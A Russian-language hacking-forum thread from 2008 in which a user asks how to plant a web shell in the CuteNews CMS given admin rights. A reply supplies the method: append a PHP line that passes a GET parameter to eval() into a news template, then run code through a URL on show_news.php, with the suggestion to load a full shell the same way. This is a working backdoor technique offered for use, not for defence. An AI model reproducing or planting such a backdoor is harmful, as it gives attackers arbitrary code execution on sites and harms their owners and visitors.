[Вопрос]Залить шелл в CuteNews

Discussion in 'Песочница' started by Byrger, 31 Aug 2008.

Thread Status:
Not open for further replies.
  1. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Добрый вечер.
    У меня вопрос как залить шелл в CuteNews если есть привелегии админа? :confused:
     
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Добавляем в конце при редактирование шаблона (лучше добавлять в последнем блоке):

    Code:
    HTML;
    if(isset($_GET['shell'])) eval($_GET['shell']);
    Получаешь возможность выполнять команды:

    Code:
    http://test1.ru/cutenews/show_news.php?shell=phpinfo();
    Собственно никто не мешает закинуть туда сразу нормальный шелл.

    P.S. Закрыто.
    P.P.S. Для вопросов есть спец тема.
    P.P.P.S. Эту не удалять - пусть будет (потом перекинем в раздел с cms'ками).
     
    #2 Grey, 31 Aug 2008
    Last edited: 31 Aug 2008
    4 people like this.
Loading...
Thread Status:
Not open for further replies.